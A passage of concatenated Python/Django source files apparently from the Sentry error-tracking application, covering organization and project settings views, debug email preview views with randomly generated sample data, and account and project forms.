        fields = ('name',)
        model = Organization


class CreateOrganizationView(BaseView):
    def get_form(self, request):
        return NewOrganizationForm(request.POST or None)

    def has_permission(self, request):
        return features.has('organizations:create', actor=request.user)

    def handle(self, request):
        form = self.get_form(request)
        if form.is_valid():
            org = form.save()

            om = OrganizationMember.objects.create(
                organization=org,
                user=request.user,
                role=roles.get_top_dog().id,
            )

            team = org.team_set.create(
                name=org.name,
            )

            OrganizationMemberTeam.objects.create(
                team=team,
                organizationmember=om,
                is_active=True
            )

            self.create_audit_entry(
                request,
                organization=org,
                target_object=org.id,
                event=AuditLogEntryEvent.ORG_ADD,
                data=org.get_audit_log_data(),
            )

            url = reverse('sentry-create-project', args=[org.slug])

            return HttpResponseRedirect('{}?team={}'.format(url, team.slug))

        context = {
            'form': form,
        }

        return self.respond('sentry/create-organization.html', context)






from __future__ import absolute_import

from django import forms
from django.contrib import messages
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext_lazy as _
from uuid import uuid1

from sentry.models import AuditLogEntryEvent, Project, Team
from sentry.web.forms.fields import (
    CustomTypedChoiceField, RangeField, OriginsField, IPNetworksField,
)
from sentry.web.frontend.base import ProjectView


BLANK_CHOICE = [("", "")]


class EditProjectForm(forms.ModelForm):
    name = forms.CharField(label=_('Project Name'), max_length=200,
        widget=forms.TextInput(attrs={'placeholder': _('Production')}))
    slug = forms.SlugField(
        label=_('Short name'),
        help_text=_('A unique ID used to identify this project.'),
    )
    team = CustomTypedChoiceField(choices=(), coerce=int, required=False)
    origins = OriginsField(label=_('Allowed Domains'), required=False,
        help_text=_('Separate multiple entries with a newline.'))
    token = forms.CharField(label=_('Security token'), required=True,
        help_text=_('Outbound requests matching Allowed Domains will have the header "X-Sentry-Token: {token}" appended.'))
    resolve_age = RangeField(label=_('Auto resolve'), required=False,
        min_value=0, max_value=168, step_value=1,
        help_text=_('Automatically resolve an issue if it hasn\'t been seen for this amount of time.'))
    scrub_data = forms.BooleanField(
        label=_('Data Scrubber'),
        help_text=_('Enable server-side data scrubbing.'),
        required=False
    )
    scrub_defaults = forms.BooleanField(
        label=_('Use Default Scrubbers'),
        help_text=_('Apply default scrubbers to prevent things like passwords and credit cards from being stored.'),
        required=False
    )
    sensitive_fields = forms.CharField(
        label=_('Additional sensitive fields'),
        help_text=_('Additional field names to match against when scrubbing data. Separate multiple entries with a newline.'),
        widget=forms.Textarea(attrs={
            'placeholder': mark_safe(_('e.g. email')),
            'class': 'span8',
            'rows': '3',
        }),
        required=False,
    )
    scrub_ip_address = forms.BooleanField(
        label=_('Don\'t store IP Addresses'),
        help_text=_('Prevent IP addresses from being stored for new events.'),
        required=False
    )
    scrape_javascript = forms.BooleanField(
        label=_('Enable JavaScript source fetching'),
        help_text=_('Allow Sentry to scrape missing JavaScript source context when possible.'),
        required=False,
    )
    blacklisted_ips = IPNetworksField(label=_('Blacklisted IP Addresses'), required=False,
        help_text=_('Separate multiple entries with a newline.'))

    # Options that are overridden by Organization level settings
    org_overrides = ('scrub_data', 'scrub_defaults', 'scrub_ip_address')

    default_environment = forms.CharField(
        label=_('Default Environment'),
        help_text=_('The default selected environment when viewing issues.'),
        widget=forms.TextInput(attrs={'placeholder': _('e.g. production')}),
        required=False,
    )

    class Meta:
        fields = ('name', 'team', 'slug')
        model = Project

    def __init__(self, request, organization, team_list, data, instance, *args, **kwargs):
        # First, we need to check for the value overrides from the Organization options
        # We need to do this before `initial` gets passed into the Form.
        disabled = []
        if 'initial' in kwargs:
            for opt in self.org_overrides:
                value = bool(organization.get_option('sentry:require_%s' % (opt,), False))
                if value:
                    disabled.append(opt)
                    kwargs['initial'][opt] = value

        super(EditProjectForm, self).__init__(data=data, instance=instance, *args, **kwargs)

        self.organization = organization
        self.team_list = team_list

        self.fields['team'].choices = self.get_team_choices(team_list, instance.team)
        self.fields['team'].widget.choices = self.fields['team'].choices

        # After the Form is initialized, we now need to disable the fields that have been
        # overridden from Organization options.
        for opt in disabled:
            self.fields[opt].widget.attrs['disabled'] = 'disabled'

    def get_team_label(self, team):
        return '%s (%s)' % (team.name, team.slug)

    def get_team_choices(self, team_list, default=None):
        sorted_team_list = sorted(team_list, key=lambda x: x.name)

        choices = []
        for team in sorted_team_list:
            # TODO: optimize queries
            choices.append(
                (team.id, self.get_team_label(team))
            )

        if default is None:
            choices.insert(0, (-1, mark_safe('&ndash;' * 8)))
        elif default not in sorted_team_list:
            choices.insert(0, (default.id, self.get_team_label(default)))

        return choices

    def clean_sensitive_fields(self):
        value = self.cleaned_data.get('sensitive_fields')
        if not value:
            return

        return filter(bool, (v.lower().strip() for v in value.split('\n')))

    def clean_team(self):
        value = self.cleaned_data.get('team')
        if not value:
            return

        # TODO: why is this not already an int?
        value = int(value)
        if value == -1:
            return

        if self.instance.team and value == self.instance.team.id:
            return self.instance.team

        for team in self.team_list:
            if value == team.id:
                return team

        raise forms.ValidationError('Unable to find chosen team')

    def clean_slug(self):
        slug = self.cleaned_data.get('slug')
        if not slug:
            return
        other = Project.objects.filter(
            slug=slug,
            organization=self.organization
        ).exclude(id=self.instance.id).first()
        if other is not None:
            raise forms.ValidationError('Another project (%s) is already '
                                        'using that slug' % other.name)
        return slug


class ProjectSettingsView(ProjectView):
    required_scope = 'project:write'

    def get_form(self, request, project):
        organization = project.organization
        team_list = [
            t for t in Team.objects.get_for_user(
                organization=organization,
                user=request.user,
            )
            if request.access.has_team_scope(t, self.required_scope)
        ]

        # TODO(dcramer): this update should happen within a lock
        security_token = project.get_option('sentry:token', None)
        if security_token is None:
            security_token = uuid1().hex
            project.update_option('sentry:token', security_token)

        return EditProjectForm(
            request, organization, team_list, request.POST or None,
            instance=project,
            initial={
                'origins': '\n'.join(project.get_option('sentry:origins', ['*'])),
                'token': security_token,
                'resolve_age': int(project.get_option('sentry:resolve_age', 0)),
                'scrub_data': bool(project.get_option('sentry:scrub_data', True)),
                'scrub_defaults': bool(project.get_option('sentry:scrub_defaults', True)),
                'sensitive_fields': '\n'.join(project.get_option('sentry:sensitive_fields', None) or []),
                'scrub_ip_address': bool(project.get_option('sentry:scrub_ip_address', False)),
                'scrape_javascript': bool(project.get_option('sentry:scrape_javascript', True)),
                'blacklisted_ips': '\n'.join(project.get_option('sentry:blacklisted_ips', [])),
                'default_environment': project.get_option('sentry:default_environment'),
            },
        )

    def handle(self, request, organization, team, project):
        form = self.get_form(request, project)

        if form.is_valid():
            project = form.save()
            for opt in (
                    'origins',
                    'token',
                    'resolve_age',
                    'scrub_data',
                    'scrub_defaults',
                    'sensitive_fields',
                    'scrub_ip_address',
                    'scrape_javascript',
                    'blacklisted_ips',
                    'default_environment'):
                # Value can't be overridden if set on the org level
                if opt in form.org_overrides and organization.get_option('sentry:%s' % (opt,), False):
                    continue
                value = form.cleaned_data.get(opt)
                if value is None:
                    project.delete_option('sentry:%s' % (opt,))
                else:
                    project.update_option('sentry:%s' % (opt,), value)

            project.update_option('sentry:reviewed-callsign', True)

            self.create_audit_entry(
                request,
                organization=organization,
                target_object=project.id,
                event=AuditLogEntryEvent.PROJECT_EDIT,
                data=project.get_audit_log_data(),
            )

            messages.add_message(
                request, messages.SUCCESS,
                _('Changes to your project were saved.'))

            redirect = reverse('sentry-manage-project', args=[project.organization.slug, project.slug])

            return HttpResponseRedirect(redirect)

        context = {
            'form': form,
            'page': 'details',
        }

        return self.respond('sentry/projects/manage.html', context)






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.rules import rules
from sentry.models import Rule, RuleStatus
from sentry.web.frontend.base import ProjectView
from sentry.utils import json


class ProjectRuleEditView(ProjectView):
    required_scope = 'project:write'

    def get(self, request, organization, team, project, rule_id=None):
        if rule_id:
            try:
                rule = Rule.objects.get(
                    project=project,
                    id=rule_id,
                    status__in=[RuleStatus.ACTIVE, RuleStatus.INACTIVE],
                )
            except Rule.DoesNotExist:
                path = reverse('sentry-project-rules', args=[organization.slug, project.slug])
                return self.redirect(path)
        else:
            rule = Rule(project=project)

        action_list = []
        condition_list = []

        # TODO: conditions need to be based on actions
        for rule_type, rule_cls in rules:
            node = rule_cls(project)
            context = {
                'id': node.id,
                'label': node.label,
                'html': node.render_form(),
            }

            if rule_type.startswith('condition/'):
                condition_list.append(context)
            elif rule_type.startswith('action/'):
                action_list.append(context)

        context = {
            'rule': rule,
            'page': 'rules',
            'action_list': json.dumps(action_list),
            'condition_list': json.dumps(condition_list),
        }

        return self.respond('sentry/projects/rules/new.html', context)






from __future__ import absolute_import

from django.views.generic import View
from hashlib import sha1
from uuid import uuid4

from sentry.models import Organization, Team, Project, Release
from sentry.utils.http import absolute_uri

from .mail import MailPreview


class DebugNewReleaseEmailView(View):
    def get(self, request):
        org = Organization(
            id=1,
            slug='organization',
            name='My Company',
        )
        team = Team(
            id=1,
            slug='team',
            name='My Team',
            organization=org,
        )
        project = Project(
            id=1,
            organization=org,
            team=team,
            slug='project',
            name='My Project',
        )
        release = Release(
            project=project,
            version=sha1(uuid4().bytes).hexdigest(),
        )

        release_link = absolute_uri('/{}/{}/releases/{}/'.format(
            org.slug,
            project.slug,
            release.version,
        ))

        project_link = absolute_uri('/{}/{}/'.format(
            org.slug,
            project.slug,
        ))

        return MailPreview(
            html_template='sentry/emails/activity/release.html',
            text_template='sentry/emails/activity/release.txt',
            context={
                'release': release,
                'project': project,
                'release_link': release_link,
                'project_link': project_link,
            },
        ).render(request)






from __future__ import absolute_import

from sentry.models import Activity

from .mail import ActivityMailDebugView


class DebugRegressionEmailView(ActivityMailDebugView):
    def get_activity(self, request, event):
        return {'type': Activity.SET_REGRESSION}


class DebugRegressionReleaseEmailView(ActivityMailDebugView):
    def get_activity(self, request, event):
        return {
            'type': Activity.SET_REGRESSION,
            'data': {
                'version': 'abcdef',
            }
        }






from __future__ import absolute_import

from sentry.models import Activity

from .mail import ActivityMailDebugView


class DebugResolvedEmailView(ActivityMailDebugView):
    def get_activity(self, request, event):
        return {'type': Activity.SET_RESOLVED}






from __future__ import absolute_import

from sentry.models import Activity

from .mail import ActivityMailDebugView


class DebugUnassignedEmailView(ActivityMailDebugView):
    def get_activity(self, request, event):
        return {
            'type': Activity.UNASSIGNED,
            'user': request.user,
        }






from __future__ import absolute_import

from django.views.generic import View
from raven.contrib.django.models import client

from sentry.web.frontend.error_500 import Error500View


class DebugTriggerErrorView(View):
    def get(self, request):
        try:
            raise ValueError('An example error')
        except Exception:
            client.captureException(request=request)

        return Error500View.as_view()(request)






from __future__ import absolute_import

from sentry.models import Activity

from .mail import ActivityMailDebugView


class DebugResolvedInReleaseEmailView(ActivityMailDebugView):
    def get_activity(self, request, event):
        return {
            'type': Activity.SET_RESOLVED_IN_RELEASE,
            'data': {
                'version': 'abcdef',
            },
        }


class DebugResolvedInReleaseUpcomingEmailView(ActivityMailDebugView):
    def get_activity(self, request, event):
        return {
            'type': Activity.SET_RESOLVED_IN_RELEASE,
            'data': {
                'version': '',
            },
        }






from __future__ import absolute_import

from sentry.models import Activity

from .mail import ActivityMailDebugView


class DebugNoteEmailView(ActivityMailDebugView):
    def get_activity(self, request, event):
        return {
            'type': Activity.NOTE,
            'user': request.user,
            'data': {
                'text': 'This is an example note!',
            },
        }






from __future__ import absolute_import, print_function

import itertools
import logging
import six
import time
import traceback
import uuid

from datetime import (
    datetime,
    timedelta,
)
from django.contrib.webdesign.lorem_ipsum import WORDS
from django.core.urlresolvers import reverse
from django.utils import timezone
from django.utils.safestring import mark_safe
from django.views.generic import View
from random import Random

from sentry.constants import LOG_LEVELS
from sentry.digests import Record
from sentry.digests.notifications import (
    Notification,
    build_digest,
)
from sentry.digests.utilities import get_digest_metadata
from sentry.http import get_server_hostname
from sentry.models import (
    Activity,
    Event,
    Group,
    GroupStatus,
    Organization,
    OrganizationMember,
    Project,
    Release,
    Rule,
    Team,
)
from sentry.plugins.sentry_mail.activity import emails
from sentry.utils.dates import to_datetime, to_timestamp
from sentry.utils.samples import load_data
from sentry.utils.email import inline_css
from sentry.utils.http import absolute_uri
from sentry.web.decorators import login_required
from sentry.web.helpers import render_to_response, render_to_string

logger = logging.getLogger(__name__)


def get_random(request):
    seed = request.GET.get('seed', six.text_type(time.time()))
    return Random(seed)


def make_message(random, length=None):
    if length is None:
        length = int(random.weibullvariate(8, 3))
    return ' '.join(random.choice(WORDS) for _ in range(length))


def make_culprit(random):
    def make_module_path_components(min, max):
        for _ in range(random.randint(min, max)):
            yield ''.join(random.sample(WORDS, random.randint(1, int(random.paretovariate(2.2)))))

    return '{module} in {function}'.format(
        module='.'.join(make_module_path_components(1, 4)),
        function=random.choice(WORDS)
    )


def make_group_metadata(random, group):
    return {
        'type': 'error',
        'metadata': {
            'type': '{}Error'.format(
                ''.join(word.title() for word in random.sample(WORDS, random.randint(1, 3))),
            ),
            'value': make_message(random),
        }
    }


def make_group_generator(random, project):
    epoch = to_timestamp(datetime(2016, 6, 1, 0, 0, 0, tzinfo=timezone.utc))
    for id in itertools.count(1):
        first_seen = epoch + random.randint(0, 60 * 60 * 24 * 30)
        last_seen = random.randint(first_seen, first_seen + (60 * 60 * 24 * 30))

        group = Group(
            id=id,
            project=project,
            culprit=make_culprit(random),
            level=random.choice(LOG_LEVELS.keys()),
            message=make_message(random),
            first_seen=to_datetime(first_seen),
            last_seen=to_datetime(last_seen),
            status=random.choice((
                GroupStatus.UNRESOLVED,
                GroupStatus.RESOLVED,
            )),
        )

        if random.random() < 0.8:
            group.data = make_group_metadata(random, group)

        yield group


# TODO(dcramer): use https://github.com/disqus/django-mailviews
class MailPreview(object):
    def __init__(self, html_template, text_template, context=None):
        self.html_template = html_template
        self.text_template = text_template
        self.context = context if context is not None else {}

    def text_body(self):
        return render_to_string(self.text_template, self.context)

    def html_body(self):
        try:
            return inline_css(render_to_string(self.html_template, self.context))
        except Exception:
            traceback.print_exc()
            raise

    def render(self, request):
        return render_to_response('sentry/debug/mail/preview.html', {
            'preview': self,
            'format': request.GET.get('format'),
        })


class ActivityMailPreview(object):
    def __init__(self, activity):
        self.email = emails.get(activity.type)(activity)

    def get_context(self):
        context = self.email.get_base_context()
        context.update(self.email.get_context())
        return context

    def text_body(self):
        return render_to_string(self.email.get_template(), self.get_context())

    def html_body(self):
        try:
            return inline_css(render_to_string(
                self.email.get_html_template(), self.get_context()))
        except Exception:
            import traceback
            traceback.print_exc()
            raise


class ActivityMailDebugView(View):
    def get(self, request):
        org = Organization(
            id=1,
            slug='organization',
            name='My Company',
        )
        team = Team(
            id=1,
            slug='team',
            name='My Team',
            organization=org,
        )
        project = Project(
            id=1,
            organization=org,
            team=team,
            slug='project',
            name='My Project',
        )

        group = next(
            make_group_generator(
                get_random(request),
                project,
            ),
        )

        event = Event(
            id=1,
            project=project,
            group=group,
            message=group.message,
            data=load_data('python'),
            datetime=datetime(2016, 6, 13, 3, 8, 24, tzinfo=timezone.utc),
        )

        activity = Activity(
            group=event.group, project=event.project,
            **self.get_activity(request, event)
        )

        return render_to_response('sentry/debug/mail/preview.html', {
            'preview': ActivityMailPreview(activity),
            'format': request.GET.get('format'),
        })


@login_required
def new_event(request):
    platform = request.GET.get('platform', 'python')
    org = Organization(
        id=1,
        slug='example',
        name='Example',
    )
    team = Team(
        id=1,
        slug='example',
        name='Example',
        organization=org,
    )
    project = Project(
        id=1,
        slug='example',
        name='Example',
        team=team,
        organization=org,
    )

    random = get_random(request)
    group = next(
        make_group_generator(random, project),
    )

    event = Event(
        id=1,
        project=project,
        group=group,
        message=group.message,
        data=load_data(platform),
        datetime=to_datetime(
            random.randint(
                to_timestamp(group.first_seen),
                to_timestamp(group.last_seen),
            ),
        ),
    )

    rule = Rule(label="An example rule")

    interface_list = []
    for interface in six.itervalues(event.interfaces):
        body = interface.to_email_html(event)
        if not body:
            continue
        interface_list.append((interface.get_title(), mark_safe(body)))

    return MailPreview(
        html_template='sentry/emails/error.html',
        text_template='sentry/emails/error.txt',
        context={
            'rule': rule,
            'group': group,
            'event': event,
            'link': 'http://example.com/link',
            'interfaces': interface_list,
            'tags': event.get_tags(),
            'project_label': project.name,
            'tags': [
                ('logger', 'javascript'),
                ('environment', 'prod'),
                ('level', 'error'),
                ('device', 'Other')
            ]
        },
    ).render(request)


@login_required
def digest(request):
    random = get_random(request)

    # TODO: Refactor all of these into something more manageable.
    org = Organization(
        id=1,
        slug='example',
        name='Example Organization',
    )

    team = Team(
        id=1,
        slug='example',
        name='Example Team',
        organization=org,
    )

    project = Project(
        id=1,
        slug='example',
        name='Example Project',
        team=team,
        organization=org,
    )

    rules = {i: Rule(
        id=i,
        project=project,
        label="Rule #%s" % (i,),
    ) for i in range(1, random.randint(2, 4))}

    state = {
        'project': project,
        'groups': {},
        'rules': rules,
        'event_counts': {},
        'user_counts': {},
    }

    records = []

    event_sequence = itertools.count(1)
    group_generator = make_group_generator(random, project)

    for i in range(random.randint(1, 30)):
        group = next(group_generator)
        state['groups'][group.id] = group

        offset = timedelta(seconds=0)
        for i in range(random.randint(1, 10)):
            offset += timedelta(seconds=random.random() * 120)
            event = Event(
                id=next(event_sequence),
                event_id=uuid.uuid4().hex,
                project=project,
                group=group,
                message=group.message,
                data=load_data('python'),
                datetime=to_datetime(
                    random.randint(
                        to_timestamp(group.first_seen),
                        to_timestamp(group.last_seen),
                    ),
                )
            )

            records.append(
                Record(
                    event.event_id,
                    Notification(
                        event,
                        random.sample(state['rules'], random.randint(1, len(state['rules']))),
                    ),
                    to_timestamp(event.datetime),
                )
            )

            state['event_counts'][group.id] = random.randint(10, 1e4)
            state['user_counts'][group.id] = random.randint(10, 1e4)

    digest = build_digest(project, records, state)
    start, end, counts = get_digest_metadata(digest)

    return MailPreview(
        html_template='sentry/emails/digests/body.html',
        text_template='sentry/emails/digests/body.txt',
        context={
            'project': project,
            'counts': counts,
            'digest': digest,
            'start': start,
            'end': end,
        },
    ).render(request)


@login_required
def report(request):
    from sentry.tasks import reports

    random = get_random(request)

    duration = 60 * 60 * 24 * 7
    timestamp = random.randint(
        to_timestamp(datetime(2016, 6, 1, 0, 0, 0, tzinfo=timezone.utc)),
        to_timestamp(datetime(2016, 7, 1, 0, 0, 0, tzinfo=timezone.utc)),
    )

    organization = Organization(
        id=1,
        slug='example',
        name='Example',
    )

    team = Team(
        id=1,
        slug='example',
        name='Example',
        organization=organization,
    )

    project = Project(
        id=1,
        organization=organization,
        team=team,
        slug='project',
        name='My Project',
    )

    start, stop = reports._to_interval(timestamp, duration)

    group_instances = {}

    def fetch_group_instances(id_list):
        results = {}
        for id in id_list:
            instance = group_instances.get(id)
            if instance is not None:
                results[id] = instance
        return results

    def make_group_id_generator():
        group_generator = make_group_generator(random, project)
        while True:
            group = next(group_generator)
            if random.random() < 0.95:
                group_instances[group.id] = group
            yield group.id

    group_id_sequence = make_group_id_generator()

    def make_release_generator():
        id_sequence = itertools.count(1)
        while True:
            dt = to_datetime(
                random.randint(
                    timestamp - (30 * 24 * 60 * 60),
                    timestamp,
                ),
            )
            yield Release(
                id=next(id_sequence),
                project=project,
                version=''.join([
                    random.choice('0123456789abcdef') for _ in range(40)
                ]),
                date_added=dt,
                date_started=dt,
            )

    release_instances = {}

    def make_release_id_generator():
        release_generator = make_release_generator()
        while True:
            release = next(release_generator)
            release_instances[release.id] = release
            yield release.id

    release_id_generator = make_release_id_generator()

    def build_issue_list():
        count = random.randint(0, int(random.paretovariate(0.4)))
        return count, [(
            next(group_id_sequence),
            (
                int(random.paretovariate(0.3)),
                int(random.paretovariate(0.3)),
            ),
        ) for _ in xrange(0, min(count, 5))]

    def build_release_list():
        return reports.trim_release_list([
            (
                next(release_id_generator),
                max(1, int(random.weibullvariate(20, 0.15))),
            ) for _ in range(random.randint(0, 10))
        ])

    def build_report():
        daily_maximum = random.randint(1000, 10000)

        rollup = 60 * 60 * 24
        series = [(
            timestamp + (i * rollup),
            (random.randint(0, daily_maximum), random.randint(0, daily_maximum))
        ) for i in xrange(0, 7)]

        aggregates = [
            random.randint(0, daily_maximum * 7) if random.random() < 0.9 else None for _ in xrange(0, 4)
        ]

        return series, aggregates, build_issue_list(), build_release_list()

    report = reduce(
        reports.merge_reports,
        [build_report() for _ in xrange(0, random.randint(1, 3))]
    )

    if random.random() < 0.85:
        personal = {
            'resolved': random.randint(0, 100),
            'users': int(random.paretovariate(0.2)),
        }
    else:
        personal = {
            'resolved': 0,
            'users': 0,
        }

    return MailPreview(
        html_template='sentry/emails/reports/body.html',
        text_template='sentry/emails/reports/body.txt',
        context={
            'duration': reports.durations[duration],
            'interval': {
                'start': reports.date_format(start),
                'stop': reports.date_format(stop),
            },
            'report': reports.to_context(
                report,
                fetch_group_instances,
            ),
            'organization': organization,
            'personal': personal,
            'user': request.user,
        },
    ).render(request)


@login_required
def request_access(request):
    org = Organization(
        id=1,
        slug='example',
        name='Example',
    )
    team = Team(
        id=1,
        slug='example',
        name='Example',
        organization=org,
    )

    return MailPreview(
        html_template='sentry/emails/request-team-access.html',
        text_template='sentry/emails/request-team-access.txt',
        context={
            'email': 'foo@example.com',
            'name': 'George Bush',
            'organization': org,
            'team': team,
            'url': absolute_uri(reverse('sentry-organization-members', kwargs={
                'organization_slug': org.slug,
            }) + '?ref=access-requests'),
        },
    ).render(request)


@login_required
def invitation(request):
    org = Organization(
        id=1,
        slug='example',
        name='Example',
    )
    om = OrganizationMember(
        id=1,
        email='foo@example.com',
        organization=org,
    )

    return MailPreview(
        html_template='sentry/emails/member-invite.html',
        text_template='sentry/emails/member-invite.txt',
        context={
            'email': 'foo@example.com',
            'organization': org,
            'url': absolute_uri(reverse('sentry-accept-invite', kwargs={
                'member_id': om.id,
                'token': om.token,
            })),
        },
    ).render(request)


@login_required
def access_approved(request):
    org = Organization(
        id=1,
        slug='example',
        name='Example',
    )
    team = Team(
        id=1,
        slug='example',
        name='Example',
        organization=org,
    )

    return MailPreview(
        html_template='sentry/emails/access-approved.html',
        text_template='sentry/emails/access-approved.txt',
        context={
            'email': 'foo@example.com',
            'name': 'George Bush',
            'organization': org,
            'team': team,
        },
    ).render(request)


@login_required
def confirm_email(request):
    email = request.user.emails.first()
    email.set_hash()
    email.save()
    return MailPreview(
        html_template='sentry/emails/confirm_email.html',
        text_template='sentry/emails/confirm_email.txt',
        context={
            'confirm_email': 'foo@example.com',
            'user': request.user,
            'url': absolute_uri(reverse(
                'sentry-account-confirm-email',
                args=[request.user.id, email.validation_hash]
            )),
            'is_new_user': True,
        },
    ).render(request)


@login_required
def recover_account(request):
    return MailPreview(
        html_template='sentry/emails/recover_account.html',
        text_template='sentry/emails/recover_account.txt',
        context={
            'user': request.user,
            'url': absolute_uri(reverse(
                'sentry-account-confirm-email',
                args=[request.user.id, 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX']
            )),
            'domain': get_server_hostname(),
        },
    ).render(request)






from __future__ import absolute_import






from __future__ import absolute_import

from django.views.generic import View

from sentry.models import User
from sentry.web.helpers import render_to_response


class DebugAuthConfirmIdentity(View):
    def get(self, request):
        auth_identity = {
            'id': 'bar@example.com',
            'email': 'bar@example.com',
        }
        return render_to_response('sentry/auth-confirm-identity.html', {
            'existing_user': User(email='foo@example.com'),
            'identity': auth_identity,
            'login_form': None,
            'request': request,
            'identity_display_name': auth_identity['email'],
            'identity_identifier': auth_identity['id']
        })


class DebugAuthConfirmLink(View):
    def get(self, request):
        auth_identity = {
            'id': 'bar@example.com',
            'email': 'bar@example.com',
        }
        return render_to_response('sentry/auth-confirm-link.html', {
            'existing_user': User(email='foo@example.com'),
            'identity': auth_identity,
            'request': request,
            'identity_display_name': auth_identity['email'],
            'identity_identifier': auth_identity['id']
        })






from __future__ import absolute_import

import six

from sentry.models import Activity

from .mail import ActivityMailDebugView


class DebugAssignedEmailView(ActivityMailDebugView):
    def get_activity(self, request, event):
        return {
            'type': Activity.ASSIGNED,
            'user': request.user,
            'data': {
                'assignee': '10000000',
                'assigneeEmail': 'foo@example.com',
            }
        }


class DebugSelfAssignedEmailView(ActivityMailDebugView):
    def get_activity(self, request, event):
        return {
            'type': Activity.ASSIGNED,
            'user': request.user,
            'data': {
                'assignee': six.text_type(request.user.id),
                'assigneeEmail': request.user.email,
            }
        }






from __future__ import absolute_import

from django.conf import settings
from django.views.generic import View

from sentry.models import ProjectKey
from sentry.web.helpers import render_to_response


class DebugErrorPageEmbedView(View):
    def _get_project_key(self):
        return ProjectKey.objects.filter(
            project=settings.SENTRY_PROJECT,
        )[0]

    def get(self, request):
        context = {
            'dsn': self._get_project_key().dsn_public,
        }

        return render_to_response('sentry/debug/error-page-embed.html', context, request)






from __future__ import absolute_import

from django import forms
from django.db import transaction, IntegrityError

from sentry.models import (
    AuditLogEntry, AuditLogEntryEvent, OrganizationMember,
)
from sentry.web.forms.fields import UserField


class AddOrganizationMemberForm(forms.ModelForm):
    user = UserField()

    class Meta:
        fields = ('user',)
        model = OrganizationMember

    def save(self, actor, organization, ip_address):
        om = super(AddOrganizationMemberForm, self).save(commit=False)
        om.organization = organization

        with transaction.atomic():
            try:
                om.save()
            except IntegrityError:
                return OrganizationMember.objects.get(
                    user=om.user,
                    organization=organization,
                ), False

        AuditLogEntry.objects.create(
            organization=organization,
            actor=actor,
            ip_address=ip_address,
            target_object=om.id,
            target_user=om.user,
            event=AuditLogEntryEvent.MEMBER_ADD,
            data=om.get_audit_log_data(),
        )

        return om, True






"""
sentry.web.forms.projects
~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django import forms
from django.conf import settings
from django.utils.translation import ugettext_lazy as _

from sentry.models import ProjectOption
from sentry.web.forms.fields import RangeField


class NotificationSettingsForm(forms.Form):
    subject_prefix = forms.CharField(
        label=_('Mail Subject Prefix'), required=False,
        help_text=_('Choose a custom prefix for emails from this project.'))


class DigestSettingsForm(forms.Form):
    minimum_delay = RangeField(
        label=_('Minimum delivery frequency'),
        help_text=_('Notifications will be delivered at most this often.'),
        required=False,
        min_value=1, max_value=60,
    )
    maximum_delay = RangeField(
        label=_('Maximum delivery frequency'),
        help_text=_('Notifications will be delivered at least this often.'),
        required=False,
        min_value=1, max_value=60,
    )

    def clean(self):
        cleaned = super(DigestSettingsForm, self).clean()
        if cleaned['minimum_delay'] > cleaned['maximum_delay']:
            raise forms.ValidationError(_('Maximum delivery frequency must be equal to or greater than the minimum delivery frequency.'))
        return cleaned


class ProjectQuotasForm(forms.Form):
    per_minute = forms.CharField(
        label=_('Maximum events per minute'),
        widget=forms.TextInput(attrs={'placeholder': 'e.g. 90% or 100'}),
        help_text=_('This cannot be higher than the team (or system) allotted maximum. The value can be either a fixed number, or a percentage that is relative to the team\'s overall quota.'),
        required=False
    )

    def __init__(self, project, *args, **kwargs):
        self.project = project
        super(ProjectQuotasForm, self).__init__(*args, **kwargs)
        per_minute = ProjectOption.objects.get_value(
            self.project, 'quotas:per_minute', None
        )
        if per_minute is None:
            per_minute = settings.SENTRY_DEFAULT_MAX_EVENTS_PER_MINUTE
        self.fields['per_minute'].initial = per_minute

    def clean_per_minute(self):
        value = self.cleaned_data.get('per_minute')
        if not value:
            return value
        if value.endswith('%'):
            try:
                pct = int(value[:-1])
            except (TypeError, ValueError):
                raise forms.ValidationError('Invalid percentage')
            if pct > 100:
                raise forms.ValidationError('Invalid percentage')
            if pct == 0:
                value = '0'
        return value

    def save(self):
        ProjectOption.objects.set_value(
            self.project, 'quotas:per_minute', self.cleaned_data['per_minute'] or ''
        )


class NewRuleForm(forms.Form):
    label = forms.CharField(
        label=_('Label'),
        widget=forms.TextInput(attrs={'placeholder': 'e.g. My Custom Rule'}),
    )






"""
sentry.web.forms.projectkeys
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django import forms

from sentry.models import ProjectKey


class EditProjectKeyForm(forms.ModelForm):
    class Meta:
        fields = ('label',)
        model = ProjectKey






"""
sentry.web.forms.accounts
~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import pytz

from captcha.fields import ReCaptchaField
from datetime import datetime
from django import forms
from django.conf import settings
from django.contrib.auth import authenticate, get_user_model
from django.utils.text import capfirst
from django.utils.translation import ugettext_lazy as _
from six.moves import range

from sentry import options
from sentry.app import ratelimiter
from sentry.constants import LANGUAGES
from sentry.models import (
    Organization, OrganizationStatus, User, UserOption, UserOptionValue
)
from sentry.utils.auth import find_users, logger
from sentry.web.forms.fields import ReadOnlyTextField


def _get_timezone_choices():
    results = []
    for tz in pytz.common_timezones:
        now = datetime.now(pytz.timezone(tz))
        offset = now.strftime('%z')
        results.append((int(offset), tz, '(GMT%s) %s' % (offset, tz)))
    results.sort()

    for i in range(len(results)):
        results[i] = results[i][1:]
    return results

TIMEZONE_CHOICES = _get_timezone_choices()


class CaptchaForm(forms.Form):
    def __init__(self, *args, **kwargs):
        has_captcha = bool(settings.RECAPTCHA_PUBLIC_KEY)
        if has_captcha:
            captcha = kwargs.pop('captcha', True)
        else:
            captcha = kwargs.pop('captcha', None)
        super(CaptchaForm, self).__init__(*args, **kwargs)
        if has_captcha and captcha:
            self.fields['captcha'] = ReCaptchaField()


class CaptchaModelForm(forms.ModelForm):
    def __init__(self, *args, **kwargs):
        has_captcha = bool(settings.RECAPTCHA_PUBLIC_KEY)
        if has_captcha:
            captcha = kwargs.pop('captcha', True)
        else:
            captcha = kwargs.pop('captcha', None)
        super(CaptchaModelForm, self).__init__(*args, **kwargs)
        if has_captcha and captcha:
